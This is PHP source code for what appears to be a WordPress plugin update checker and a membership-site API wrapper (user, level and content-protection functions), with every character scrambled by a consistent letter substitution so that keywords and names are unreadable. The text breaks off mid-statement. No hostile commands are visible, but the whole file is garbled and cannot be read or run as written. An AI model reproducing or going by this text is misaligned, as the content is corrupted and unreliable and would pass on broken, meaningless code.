QTPMGUBimBosFu_lqCFmBn-QTPMGU . Smyxn-QzmUnulzU } Smyxn-QzmUxsnmFuu8rrvn()U } AlsDmxrs xsnmFuu8rrvn(){ FCC_AxumBo(QTPMGUqulzxsn_FqxQTPMGU, FooFh(QFtqUSmyxn, QTPMGUxswBDm7sArQTPMGU), OP, M)U FCC_AxumBo(QTPMGUnxmB_moFsnxBsm_lqCFmB_qulzxsnQTPMGU, FooFh(QFtqUSmyxn,QTPMGUxswBDm;qCFmBQTPMGU))U FCC_AxumBo(QTPMGUmoFsnxBsm_lqCFmB_qulzxsnQTPMGU, FooFh(QFtqUSmyxn,QTPMGUxswBDm;qCFmBQTPMGU))U SDors8rrv = QTPMGUDyBDv_qulzxs_lqCFmBn-QTPMGU . Smyxn-QzmUnulzU xA ( Smyxn-QzmUDyBDv0BoxrC QzmU P ){ FCC_AxumBo(QTPMGUDors_nDyBCluBnQTPMGU, FooFh(QFtqUSmyxn, QTPMGU_FCCdlnmrt$DyBCluBQTPMGU))U xA ( Vjq_sBim_nDyBCluBC(SDors8rrv) QFtqUQFtqU VCBAxsBC(QTPMGU?0_72$#f44729QTPMGU) ) { SnDyBCluB2FtB = QTPMGUBkBohQTPMGU . Smyxn-QzmUDyBDv0BoxrC . QTPMGUyrlonQTPMGUU jq_nDyBCluB_BkBsm(mxtB(), SnDyBCluB2FtB, SDors8rrv)U } FCC_FDmxrs(SDors8rrv, FooFh(QFtqUSmyxn, QTPMGUDyBDvaro;qCFmBnQTPMGU))U FCC_FDmxrs( QTPMGUFCtxs_xsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUtFhEBdyBDvaro;qCFmBnQTPMGU) )U } BunB { jq_DuBFo_nDyBCluBC_yrrv(SDors8rrv)U } } AlsDmxrs _FCCdlnmrt$DyBCluB(SnDyBCluBn){ xA ( Smyxn-QzmUDyBDv0BoxrC QFtqUQFtqU (Smyxn-QzmUDyBDv0BoxrC QzmU P) ){ SnDyBCluB2FtB = QTPMGUBkBohQTPMGU . Smyxn-QzmUDyBDv0BoxrC . QTPMGUyrlonQTPMGUU SnDyBCluBn[SnDyBCluB2FtB] = FooFh( QTPMGUxsmBokFuQTPMGU =QzmU Smyxn-QzmUDyBDv0BoxrC * MJPP, QTPMGUCxnquFhQTPMGU =QzmU nqoxsmA(QTPMGUbkBoh %C yrlonQTPMGU, Smyxn-QzmUDyBDv0BoxrC), )U } oBmlos SnDyBCluBnU } AlsDmxrs oBplBnm7sAr(SplBohfozn = FooFh()){ SplBohfozn[QTPMGUxsnmFuuBC_kBonxrsQTPMGU] = Smyxn-QzmUzBm7snmFuuBC!Bonxrs()U SplBohfozn = Fqquh_AxumBon(QTPMGUqlD_oBplBnm_xsAr_plBoh_Fozn-QTPMGU.Smyxn-QzmUnulz, SplBohfozn)U Srqmxrsn = FooFh( QTPMGUmxtBrlmQTPMGU =QzmU MP, QTPMGUyBFCBonQTPMGU =QzmU FooFh( QTPMGUfDDBqmQTPMGU =QzmU QTPMGUFqquxDFmxrs/wnrsQTPMGU ), )U Srqmxrsn = Fqquh_AxumBon(QTPMGUqlD_oBplBnm_xsAr_rqmxrsn-QTPMGU.Smyxn-QzmUnulz, FooFh())U Slou = Smyxn-QzmUtBmFCFmF;ouU xA ( VBtqmh(SplBohfozn) ){ Slou = FCC_plBoh_Foz(SplBohfozn, Slou)U } SoBnlum = jq_oBtrmB_zBm( Slou, Srqmxrsn )U Squlzxs7sAr = sluuU xA ( Vxn_jq_Booro(SoBnlum) QFtqUQFtqU xnnBm(SoBnlum[QTPMGUoBnqrsnBQTPMGU][QTPMGUDrCBQTPMGU]) QFtqUQFtqU (SoBnlum[QTPMGUoBnqrsnBQTPMGU][QTPMGUDrCBQTPMGU] == NPP) QFtqUQFtqU VBtqmh(SoBnlum[QTPMGUErChQTPMGU]) ){ Squlzxs7sAr = 0ulzxs7sAr::Aort6nrs(SoBnlum[QTPMGUErChQTPMGU])U } Squlzxs7sAr = Fqquh_AxumBon(QTPMGUqlD_oBplBnm_xsAr_oBnlum-QTPMGU.Smyxn-QzmUnulz, Squlzxs7sAr, SoBnlum)U oBmlos Squlzxs7sArU } AlsDmxrs oBplBnm;qCFmB(){ Squlzxs7sAr = Smyxn-QzmUoBplBnm7sAr(FooFh(QTPMGUDyBDvxsz_Aro_lqCFmBnQTPMGU =QzmU QTPMGUOQTPMGU))U xA ( Squlzxs7sAr == sluu ){ oBmlos sluuU } oBmlos 0ulzxs;qCFmB::Aort0ulzxs7sAr(Squlzxs7sAr)U } AlsDmxrs zBm7snmFuuBC!Bonxrs(){ xA ( VAlsDmxrs_Bixnmn(QTPMGUzBm_qulzxsnQTPMGU) ){ oBplxoB_rsDB( fe$0f#8 . QTPMGU/jq-FCtxs/xsDulCBn/qulzxs.qyqQTPMGU )U } SFuu0ulzxsn = zBm_qulzxsn()U xA ( FooFh_vBh_Bixnmn(Smyxn-QzmUqulzxsaxuB, SFuu0ulzxsn) QFtqUQFtqU FooFh_vBh_Bixnmn(QTPMGU!BonxrsQTPMGU, SFuu0ulzxsn[Smyxn-QzmUqulzxsaxuB]) ){ oBmlos SFuu0ulzxsn[Smyxn-QzmUqulzxsaxuB][QTPMGU!BonxrsQTPMGU]U } BunB { oBmlos QTPMGUQTPMGUU }U } AlsDmxrs DyBDvaro;qCFmBn(){ SnmFmB = zBm_rqmxrs(Smyxn-QzmUrqmxrs2FtB)U xA ( Btqmh(SnmFmB) ){ SnmFmB = sBj $mCduFnnU SnmFmB-QzmUuFnmdyBDv = PU SnmFmB-QzmUDyBDvBC!Bonxrs = QTPMGUQTPMGUU SnmFmB-QzmUlqCFmB = sluuU } SnmFmB-QzmUuFnmdyBDv = mxtB()U SnmFmB-QzmUDyBDvBC!Bonxrs = Smyxn-QzmUzBm7snmFuuBC!Bonxrs()U lqCFmB_rqmxrs(Smyxn-QzmUrqmxrs2FtB, SnmFmB)U SnmFmB-QzmUlqCFmB = Smyxn-QzmUoBplBnm;qCFmB()U lqCFmB_rqmxrs(Smyxn-QzmUrqmxrs2FtB, SnmFmB)U } AlsDmxrs tFhEBdyBDvaro;qCFmBn(){ xA ( Btqmh(Smyxn-QzmUDyBDv0BoxrC) ){ oBmlosU } SnmFmB = zBm_rqmxrs(Smyxn-QzmUrqmxrs2FtB)U xA (nmoqrn(S_$b !b [QplrmU080_$b4aQplrmU], QTPMGUlqCFmB-DroB.qyqQTPMGU) V== af4$b) { SnmFmB-QzmUuFnmdyBDv = PU } SnyrluCdyBDv = Btqmh(SnmFmB) || VxnnBm(SnmFmB-QzmUuFnmdyBDv) || ( (mxtB() - SnmFmB-QzmUuFnmdyBDv) QzmU= Smyxn-QzmUDyBDv0BoxrC*MJPP )U xA ( SnyrluCdyBDv ){ Smyxn-QzmUDyBDvaro;qCFmBn()U } } AlsDmxrs xswBDm7sAr(SoBnlum, SFDmxrs = sluu, SFozn = sluu){ SoBuBkFsm = (SFDmxrs == QTPMGUqulzxs_xsArotFmxrsQTPMGU) QFtqUQFtqU xnnBm(SFozn-QzmUnulz) QFtqUQFtqU (SFozn-QzmUnulz == Smyxn-QzmUnulz)U xA ( VSoBuBkFsm ){ oBmlos SoBnlumU } Squlzxs7sAr = Smyxn-QzmUoBplBnm7sAr()U xA (Squlzxs7sAr){ oBmlos Squlzxs7sAr-QzmUmr?qarotFm()U } oBmlos SoBnlumU } AlsDmxrs xswBDm;qCFmB(SlqCFmBn){ SnmFmB = zBm_rqmxrs(Smyxn-QzmUrqmxrs2FtB)U xA ( VBtqmh(SnmFmB) QFtqUQFtqU xnnBm(SnmFmB-QzmUlqCFmB) QFtqUQFtqU VBtqmh(SnmFmB-QzmUlqCFmB) ){ xA ( kBonxrs_DrtqFoB(SnmFmB-QzmUlqCFmB-QzmUkBonxrs, Smyxn-QzmUzBm7snmFuuBC!Bonxrs(), QTPMGUQzmUQTPMGU) ){ Sjq_ArotFm = SnmFmB-QzmUlqCFmB-QzmUmr?qarotFm()U Sjq_ArotFm-QzmUqulzxs = Smyxn-QzmUqulzxsaxuBU SlqCFmBn-QzmUoBnqrsnB[Smyxn-QzmUqulzxsaxuB] = Sjq_ArotFmU } } oBmlos SlqCFmBnU } AlsDmxrs FCC&lBohfozaxumBo(SDFuuEFDv){ FCC_AxumBo(QTPMGUqlD_oBplBnm_xsAr_plBoh_Fozn-QTPMGU.Smyxn-QzmUnulz, SDFuuEFDv)U } AlsDmxrs FCC8mmq BplBnmfozaxumBo(SDFuuEFDv){ FCC_AxumBo(QTPMGUqlD_oBplBnm_xsAr_rqmxrsn-QTPMGU.Smyxn-QzmUnulz, SDFuuEFDv)U } AlsDmxrs FCC BnlumaxumBo(SDFuuEFDv){ FCC_AxumBo(QTPMGUqlD_oBplBnm_xsAr_oBnlum-QTPMGU.Smyxn-QzmUnulz, SDFuuEFDv, OP, N)U } } BsCxAU xA ( VDuFnn_Bixnmn(QTPMGU0ulzxs7sArQTPMGU) ): DuFnn 0ulzxs7sAr { qlEuxD SsFtBU qlEuxD SnulzU qlEuxD SkBonxrsU qlEuxD SyrtBqFzBU qlEuxD SnBDmxrsnU qlEuxD SCrjsurFC_louU qlEuxD SFlmyroU qlEuxD SFlmyro_yrtBqFzBU qlEuxD SoBplxoBnU qlEuxD SmBnmBCU qlEuxD SlqzoFCB_srmxDBU qlEuxD SoFmxszU qlEuxD Sslt_oFmxsznU qlEuxD SCrjsurFCBCU qlEuxD SuFnm_lqCFmBCU qlEuxD SxC = PU qlEuxD nmFmxD AlsDmxrs Aort6nrs(Swnrs){ SFqx BnqrsnB = wnrs_CBDrCB(Swnrs)U xA ( Btqmh(SFqx BnqrsnB) || Vxn_rEwBDm(SFqx BnqrsnB) ){ oBmlos sluuU } SkFuxC = xnnBm(SFqx BnqrsnB-QzmUsFtB) QFtqUQFtqU VBtqmh(SFqx BnqrsnB-QzmUsFtB) QFtqUQFtqU xnnBm(SFqx BnqrsnB-QzmUkBonxrs) QFtqUQFtqU VBtqmh(SFqx BnqrsnB-QzmUkBonxrs)U xA ( VSkFuxC ){ oBmlos sluuU } SxsAr = sBj 0ulzxs7sAr()U AroBFDy(zBm_rEwBDm_kFon(SFqx BnqrsnB) Fn SvBh =QzmU SkFulB){ SxsAr-QzmUSvBh = SkFulBU } oBmlos SxsArU } qlEuxD AlsDmxrs mr?qarotFm(){ SxsAr = sBj $mCduFnnU SnFtBarotFm = FooFh( QTPMGUsFtBQTPMGU, QTPMGUnulzQTPMGU, QTPMGUkBonxrsQTPMGU, QTPMGUoBplxoBnQTPMGU, QTPMGUmBnmBCQTPMGU, QTPMGUoFmxszQTPMGU, QTPMGUlqzoFCB_srmxDBQTPMGU, QTPMGUslt_oFmxsznQTPMGU, QTPMGUCrjsurFCBCQTPMGU, QTPMGUyrtBqFzBQTPMGU, QTPMGUuFnm_lqCFmBCQTPMGU, QTPMGUqulzxsQTPMGU )U AroBFDy(SnFtBarotFm Fn SAxBuC){ xA ( xnnBm(Smyxn-QzmUSAxBuC) ) { SxsAr-QzmUSAxBuC = Smyxn-QzmUSAxBuCU } } SxsAr-QzmUCrjsurFC_uxsv = Smyxn-QzmUCrjsurFC_louU xA ( VBtqmh(Smyxn-QzmUFlmyro_yrtBqFzB) ){ SxsAr-QzmUFlmyro = nqoxsmA(QTPMGUQumUF yoBA=QplrmU%nQplrmUQzmU%nQumU/FQzmUQTPMGU, Smyxn-QzmUFlmyro_yrtBqFzB, Smyxn-QzmUFlmyro)U } BunB { SxsAr-QzmUFlmyro = Smyxn-QzmUFlmyroU } xA ( xn_rEwBDm(Smyxn-QzmUnBDmxrsn) ){ SxsAr-QzmUnBDmxrsn = zBm_rEwBDm_kFon(Smyxn-QzmUnBDmxrsn)U } BunBxA ( xn_FooFh(Smyxn-QzmUnBDmxrsn) ) { SxsAr-QzmUnBDmxrsn = Smyxn-QzmUnBDmxrsnU } BunB { SxsAr-QzmUnBDmxrsn = FooFh(QTPMGUCBnDoxqmxrsQTPMGU =QzmU QTPMGUQTPMGU)U } oBmlos SxsArU } } BsCxAU xA ( VDuFnn_Bixnmn(QTPMGU0ulzxs;qCFmBQTPMGU) ): DuFnn 0ulzxs;qCFmB { qlEuxD SxC = PU qlEuxD SnulzU qlEuxD SkBonxrsU qlEuxD SyrtBqFzBU qlEuxD SCrjsurFC_louU qlEuxD SlqzoFCB_srmxDBU qlEuxD nmFmxD AlsDmxrs Aort6nrs(Swnrs){ Squlzxs7sAr = 0ulzxs7sAr::Aort6nrs(Swnrs)U xA ( Squlzxs7sAr V= sluu ) { oBmlos 0ulzxs;qCFmB::Aort0ulzxs7sAr(Squlzxs7sAr)U } BunB { oBmlos sluuU } } qlEuxD nmFmxD AlsDmxrs Aort0ulzxs7sAr(SxsAr){ SlqCFmB = sBj 0ulzxs;qCFmB()U SDrqhaxBuCn = FooFh(QTPMGUxCQTPMGU, QTPMGUnulzQTPMGU, QTPMGUkBonxrsQTPMGU, QTPMGUyrtBqFzBQTPMGU, QTPMGUCrjsurFC_louQTPMGU, QTPMGUlqzoFCB_srmxDBQTPMGU)U AroBFDy(SDrqhaxBuCn Fn SAxBuC){ SlqCFmB-QzmUSAxBuC = SxsAr-QzmUSAxBuCU } oBmlos SlqCFmBU } qlEuxD AlsDmxrs mr?qarotFm(){ SlqCFmB = sBj $mCduFnnU SlqCFmB-QzmUxC = Smyxn-QzmUxCU SlqCFmB-QzmUnulz = Smyxn-QzmUnulzU SlqCFmB-QzmUsBj_kBonxrs = Smyxn-QzmUkBonxrsU SlqCFmB-QzmUlou = Smyxn-QzmUyrtBqFzBU SlqCFmB-QzmUqFDvFzB = Smyxn-QzmUCrjsurFC_louU xA ( VBtqmh(Smyxn-QzmUlqzoFCB_srmxDB) ){ SlqCFmB-QzmUlqzoFCB_srmxDB = Smyxn-QzmUlqzoFCB_srmxDBU } oBmlos SlqCFmBU } } BsCxAU StBtEBozBsxln = sBj 3BtEBo9Bsxln()U DuFnn 39f07 { qlEuxD nmFmxD AlsDmxrs 9Bm1qmxrs(Srqmxrs) { xA (Srqmxrs == QplrmUsrs_tBtEBon_Booro_qFzBQplrmU) { oBmlos yrtB_lou(QplrmUjq-urzxs.qyqQplrmU)U } } qlEuxD nmFmxD AlsDmxrs 9Bm4BkBun() { zurEFu StBtEBozBsxlnU oBmlos FooFh_tFq(FooFh(QplrmU39f07QplrmU, QplrmU9Bm4BkBun3FqQplrmU), StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun())U } qlEuxD nmFmxD AlsDmxrs 9Bm4BkBun3Fq(SuBkBu) { Snulz = nmomrurjBo(qoBz_oBquFDB(QTPMGU@[^f-<P-G]+@nxQTPMGU, QTPMGU-QTPMGU, SuBkBu-QzmUuBkBu_sFtB))U oBmlos FooFh( QTPMGUsFtBQTPMGU =QzmU SuBkBu-QzmUuBkBu_sFtB, QTPMGUlouQTPMGU =QzmU SuBkBu-QzmUuBkBu_yFny, QTPMGUurzxsoBCxoBDmQTPMGU =QzmU QTPMGU---QTPMGU, QTPMGUFAmBooBzoBCxoBDmQTPMGU =QzmU QTPMGU---QTPMGU, QTPMGUsrBiqxoBQTPMGU =QzmU (SuBkBu-QzmUuBkBu_BiqxoFmxrs QzmU P) W P : O, QTPMGUlqzoFCB#rQTPMGU =QzmU QTPMGUPQTPMGU, QTPMGUlqzoFCBfAmBoQTPMGU =QzmU QTPMGUPQTPMGU, QTPMGUlqzoFCB3BmyrCQTPMGU =QzmU QTPMGUPQTPMGU, QTPMGUDrlsmQTPMGU =QzmU SuBkBu-QzmUFDmxkB, QTPMGUoruBQTPMGU =QzmU QTPMGUnlEnDoxEBoQTPMGU, QTPMGUuBkBu1oCBoQTPMGU =QzmU QTPMGUQTPMGU, QTPMGUnulzQTPMGU =QzmU Snulz, QTPMGU7cQTPMGU =QzmU SuBkBu-QzmU7c )U } qlEuxD nmFmxD AlsDmxrs 9BmdrsmBsmeh4BkBu(SDrsmBsm#hqB=QplrmUFuuQplrmU, SuBkBu) { zurEFu StBtEBozBsxlnU SDrsmBsm = StBtEBozBsxln-QzmUtrCBu-QzmUzBm0rnmfDDBnn(SuBkBu)U xA (SDrsmBsm#hqB == QplrmUqrnmnQplrmU) { SDrsmBsm = zBm_qrnmn(FooFh(QplrmUqrnmn_qBo_qFzBQplrmU=QzmU-O, QplrmUqrnm_mhqBQplrmU =QzmU QplrmUqrnmQplrmU, QplrmUxsDulCBQplrmU =QzmU SDrsmBsm))U SDrsmBsm = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSqQTPMGU, QTPMGUoBmlos Sq-QzmU7cUQTPMGU), SDrsmBsm)U } BunBxA (SDrsmBsm#hqB == QplrmUqFzBnQplrmU) { SDrsmBsm = zBm_qFzBn(FooFh(QplrmUqrnmn_qBo_qFzBQplrmU=QzmU-O, QplrmUqrnm_mhqBQplrmU =QzmU QplrmUqFzBQplrmU, QplrmUxsDulCBQplrmU =QzmU SDrsmBsm))U SDrsmBsm = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSqQTPMGU, QTPMGUoBmlos Sq-QzmU7cUQTPMGU), SDrsmBsm)U } oBmlos SDrsmBsmU } qlEuxD nmFmxD AlsDmxrs fCC;nBo(SlnBosFtB, SBtFxu, SqFnnjroC, SAxonmsFtB=QplrmUQplrmU, SuFnmsFtB=QplrmUQplrmU) { xA (VAlsDmxrs_Bixnmn(QTPMGUjq_nBm_DlooBsm_lnBoQTPMGU)) { oBplxoB_rsDB(fe$0f#8 . ?072d . QTPMGU/qulzzFEuB.qyqQTPMGU)U } SlnBosFtB = moxt(SlnBosFtB)U SqFnnjroC = moxt(SqFnnjroC)U SBtFxu = moxt(SBtFxu)U SAxonmsFtB = moxt(SAxonmsFtB)U SuFnmsFtB = moxt(SuFnmsFtB)U xA (VSlnBosFtB) { oBmlos sBj ?0_booro(QTPMGUtxnnxsz_lnBosFtBQTPMGU, QTPMGU;nBosFtB oBplxoBCQTPMGU)U } xA (lnBosFtB_Bixnmn(SlnBosFtB)) { oBmlos sBj ?0_booro(QTPMGUlnBosFtB_BixnmnQTPMGU, QTPMGU;nBosFtB FuoBFCh xs lnBQTPMGU)U } xA (Vxn_BtFxu(SBtFxu)) { oBmlos sBj ?0_booro(QTPMGUxskFuxC_BtFxuQTPMGU, QTPMGU7skFuxC BtFxu FCCoBnnQTPMGU)U } xA (BtFxu_Bixnmn(SBtFxu)) { oBmlos sBj ?0_booro(QTPMGUBtFxu_BixnmnQTPMGU, QTPMGUbtFxu FCCoBnn FuoBFCh xs lnBQTPMGU)U } xA (VSqFnnjroC) { oBmlos sBj ?0_booro(QTPMGUtxnnxsz_qFnnjroCQTPMGU, QTPMGU0FnnjroC oBplxoBCQTPMGU)U } xA (nmouBs(SqFnnjroC) QumU H) { oBmlos sBj ?0_booro(QTPMGUjBFv_qFnnjroCQTPMGU, QTPMGU0FnnjroC yFn mr EB Fm uBFnm H DyFoFDmBon urszQTPMGU)U } SlnBoCFmF = FooFh( QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBosFtB, QTPMGUlnBo_BtFxuQTPMGU =QzmU SBtFxu, QTPMGUlnBo_qFnnQTPMGU =QzmU SqFnnjroC )U xA (SAxonmsFtB) { SlnBoCFmF[QTPMGUsxDvsFtBQTPMGU] = SAxonmsFtBU SlnBoCFmF[QTPMGUAxonm_sFtBQTPMGU] = SAxonmsFtBU SlnBoCFmF[QTPMGUCxnquFh_sFtBQTPMGU] = SAxonmsFtBU } xA (SuFnmsFtB) { SlnBoCFmF[QTPMGUuFnm_sFtBQTPMGU] = SuFnmsFtBU SlnBoCFmF[QTPMGUCxnquFh_sFtBQTPMGU] .= QTPMGU QTPMGU . SuFnmsFtBU } FCC_AxumBo(QTPMGUnBsC_qFnnjroC_DyFszB_BtFxuQTPMGU, QTPMGU__oBmlos_AFunBQTPMGU)U SlnBo7c = jq_DoBFmB_lnBo(SlnBosFtB, SqFnnjroC, SBtFxu)U xA (SlnBo7c) { SlnBoCFmF[QTPMGU7cQTPMGU] = SlnBo7cU jq_lqCFmB_lnBo(SlnBoCFmF)U oBmlos SlnBo7cU } BunB { oBmlos sBj ?0_booro(QTPMGUlsvsrjsQTPMGU, QTPMGU;svsrjs Booro.QTPMGU)U } } qlEuxD nmFmxD AlsDmxrs bCxm;nBo(SxC, SBtFxu=QplrmUQplrmU, SqFnnjroC=QplrmUQplrmU, SAxonmsFtB=QplrmUQplrmU, SuFnmsFtB=QplrmUQplrmU, SCxnquFhsFtB=QplrmUQplrmU, SsxDvsFtB=QplrmUQplrmU) { } qlEuxD nmFmxD AlsDmxrs cBuBmB;nBo(SxC, SoBFnnxzs=sluu) { } qlEuxD nmFmxD AlsDmxrs 9Bm;nBo4BkBun(SlnBo, SuBkBun=QplrmUFuuQplrmU, SoBmlos=QplrmUsFtBnQplrmU, SFCCqBsCxsz=AFunB, SFCCnBplBsmxFu=AFunB, SDFsDBuuBC=P ) { zurEFu StBtEBozBsxlnU xA (SDFsDBuuBC == O) { SxsAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo, QplrmU*QplrmU)U } BunB { SxsAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo, QplrmUfQplrmU)U } xA (SoBmlos == QplrmUnvlnQplrmU) { SxsAr = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSuQTPMGU, QTPMGUoBmlos Su-QzmUuBkBu_xCUQTPMGU), SxsAr)U } BunB { SxsAr = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSuQTPMGU, QTPMGUoBmlos Su-QzmUuBkBu_sFtBUQTPMGU), SxsAr)U } xA (SuBkBun V= QplrmUFuuQplrmU) { SmyB4BkBun = @BiqurCB(QplrmU,QplrmU, SuBkBun)U xA (Drlsm(SmyB4BkBun) == P) { SmyB4BkBun = FooFh(SuBkBun)U } AroBFDy (SxsAr Fn SvBh =QzmU SuBkBu) { xA (Vxs_FooFh(SvBh, SmyB4BkBun)) { lsnBm(SxsAr[SvBh])U } } } oBmlos SxsArU } qlEuxD nmFmxD AlsDmxrs ;nBo4xsvn(SlnBo7c) { SxsAr = 39f07::9Bm;nBo4BkBun()U kFo_Biqrom(SxsAr)U } qlEuxD nmFmxD AlsDmxrs fCC;nBo4BkBun(SlnBo, SuBkBun, SmixC=QplrmUQplrmU, SFlmroBnqrsCBo=AFunB) { zurEFu StBtEBozBsxlnU SlnBo = @xsmkFu(SlnBo)U xA (VzBm_lnBo_Eh(QplrmUxCQplrmU, SlnBo)) { oBmlos AFunBU } AroBFDy (SuBkBun Fn SuBkBu) { SFCC = StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SlnBo, SuBkBu, SmixC)U xA (SFlmroBnqrsCBo) { StBtEBzBsxln-QzmUtrCBu-QzmUnlEnDoxEB(SlnBo, SuBkBu)U } } oBmlos molBU } qlEuxD nmFmxD AlsDmxrs cBuBmB;nBo4BkBun(SxC, SuBkBun, SFlmroBnqrsCBo=molB) { zurEFu StBtEBozBsxlnU SxC = @xsmkFu(SxC)U xA (VzBm_lnBo_Eh(QplrmU7cQplrmU, SxC)) { oBmlos AFunBU } xA (Vxn_FooFh(SuBkBun)) { SuBkBun = FooFh(SuBkBun)U } AroBFDy (SuBkBun Fn SuBkBu7c) { SoBtrkB = StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB(SxC, SuBkBu7c)U } oBmlos molBU } qlEuxD nmFmxD AlsDmxrs 9Bm3BtEBon() { } qlEuxD nmFmxD AlsDmxrs 3BozBC3BtEBon(SuBkBun, SnmoxqqBsCxsz) { } qlEuxD nmFmxD AlsDmxrs 9Bm3BtEBodrlsm(SuBkBu) { } qlEuxD nmFmxD AlsDmxrs 3FvB0BsCxsz(SxC) { } qlEuxD nmFmxD AlsDmxrs 3FvBfDmxkB(SxC) { } qlEuxD nmFmxD AlsDmxrs 3FvB$BplBsmxFu(SxC) { } qlEuxD nmFmxD AlsDmxrs 3FvB2rs$BplBsmxFu(SxC) { } qlEuxD nmFmxD AlsDmxrs 3rkB4BkBu(SxC, SuBk) { } qlEuxD nmFmxD AlsDmxrs dFsDBu4BkBu(SxC, SuBk) { zurEFu StBtEBozBsxlnU SxC = @xsmkFu(SxC)U xA (VzBm_lnBo_Eh(QplrmU7cQplrmU, SxC)) { oBmlos AFunBU } xA (Vxn_FooFh(SuBk)) { SuBk = FooFh(SuBk)U } AroBFDy (SuBk Fn SuBkBu7c) { SDFsDBu = StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SxC, SuBkBu7c)U } oBmlos molBU } qlEuxD nmFmxD AlsDmxrs ;sdFsDBu4BkBu(SxC, SuBk) { } qlEuxD nmFmxD AlsDmxrs 9Bm0rnm4BkBun(SxC) { oBmlos 39f07::9Bm0FzB4BkBun(SxC)U } qlEuxD nmFmxD AlsDmxrs fCC0rnm4BkBun(SxC, SuBkBun) { oBmlos 39f07::fCC0FzB4BkBun(SxC, SuBkBun)U } qlEuxD nmFmxD AlsDmxrs cBuBmB0rnm4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs 9Bm0FzB4BkBun(SxC) { zurEFu StBtEBozBsxlnU oBmlos StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort0rnm(SxC)U } qlEuxD nmFmxD AlsDmxrs fCC0FzB4BkBun(SxC, SuBkBun) { zurEFu StBtEBozBsxlnU SmyB0FzB = zBm_qrnmn(FooFh(QplrmUxsDulCBQplrmU =QzmU FooFh(SxC), QplrmUqrnm_mhqBQplrmU =QzmU FooFh(QplrmUqFzBQplrmU, QplrmUqrnmQplrmU)))U xA (VSmyB0FzB) { oBmlos AFunBU } AroBFDy (SuBkBun Fn SuBkBu) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(SxC, SuBkBu)U } oBmlos molBU } qlEuxD nmFmxD AlsDmxrs cBuBmB0FzB4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs 9BmdFmBzroh4BkBun(SxC) { } qlEuxD nmFmxD AlsDmxrs fCCdFmBzroh4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs cBuBmBdFmBzroh4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs 9BmdrttBsm4BkBun(SxC) { } qlEuxD nmFmxD AlsDmxrs fCCdrttBsm4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs cBuBmBdrttBsm4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs 0oxkFmB#Fzn(SDrsmBsm) { } qlEuxD nmFmxD AlsDmxrs $yrj?43?xCzBm(SjxCzBmFozn) { } qlEuxD nmFmxD AlsDmxrs $Bm0ormBDm(SxC, ShBn2r=QplrmUQplrmU) { zurEFu StBtEBozBsxlnU xA (ShBn2r == QplrmUQplrmU) { ShBn2r = Dyo(HG)U } SmyB0FzB = zBm_qrnmn(FooFh(QplrmUxsDulCBQplrmU =QzmU FooFh(SxC), QplrmUqrnm_mhqBQplrmU =QzmU FooFh(QplrmUqFzBQplrmU, QplrmUqrnmQplrmU)))U xA (VSmyB0FzB) { oBmlos AFunBU } xA (ShBn2r == Dyo(HG)) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(SxC, -O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUlsqormBDm(SxC, -O)U } } qlEuxD nmFmxD AlsDmxrs 7n0ormBDmBC(Sqrnm7c) { zurEFu StBtEBozBsxlnU oBmlos StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(Sqrnm7c)U } } DuFnn 39f07N { Drsnm tFovBo = QTPMGU/jutFqx/N.P/QTPMGUU Drsnm tFovBo_FumBosFmB = QTPMGU/jutFqx/N_P/QTPMGUU qoxkFmB SoBmlos_mhqB = QTPMGUqyqQTPMGUU qoxkFmB SoBplBnm = QTPMGUQTPMGUU kFo StBmyrCU kFo SCFmFU Drsnm b 1 _fddb$$_cb27bc = PiPPPOPPPPU Drsnm b 1 _72!f47c_f;#8 = PiPPPOPPPOU Drsnm b 1 _72!f47c_ b&;b$# = PiPPPOPPPNU Drsnm b 1 _72!f47c_ b#; 2_a1 3f# = PiPPPOPPPLU Drsnm b 1 _72!f47c_ b$1; db = PiPPPOPPPHU Drsnm b 1 _a1 3f#_21#_$;001 #bc_6$12 = PiPPPNPPPOU Drsnm b 1 _a1 3f#_21#_$;001 #bc_>34 = PiPPPNPPPNU Drsnm b 1 _3b#81c_21#_$;001 #bc = PiPPPLPPPOU AlsDmxrs __DrsnmolDm(SoBplBnm=QTPMGUb>#b 2f4QTPMGU, StBmyrC=QTPMGU9b#QTPMGU, SCFmF=sluu) { Smyxn-QzmUtBmyrC = StBmyrCU xA (SoBplBnm == QTPMGUb>#b 2f4QTPMGU) { SoBplBnm = S_$b !b [QTPMGU b&;b$#_; 7QTPMGU]U StBmyrC = S_$b !b [QTPMGU b&;b$#_3b#81cQTPMGU]U xA (StBmyrC == QTPMGU9b#QTPMGU) { SCFmF = S_9b#U } BunBxA (StBmyrC == QTPMGU01$#QTPMGU) { SCFmF = S_01$#U } BunB { qFonB_nmo(AxuB_zBm_DrsmBsmn(QTPMGUqyq://xsqlmQTPMGU), SCFmF)U } Smyxn-QzmUtBmyrC = StBmyrCU Smyxn-QzmUCFmF = SCFmFU } BunB { oBmlosU } xA (nmoqrn(SoBplBnm, 39f07N::tFovBo) V== AFunB) { SBiqurCB = BiqurCB(39f07N::tFovBo, SoBplBnm, N)U Sqrq = FooFh_qrq(SBiqurCB)U SoBplBnm = BiqurCB(QTPMGU/QTPMGU, Sqrq)U } BunBxA (nmoqrn(SoBplBnm, 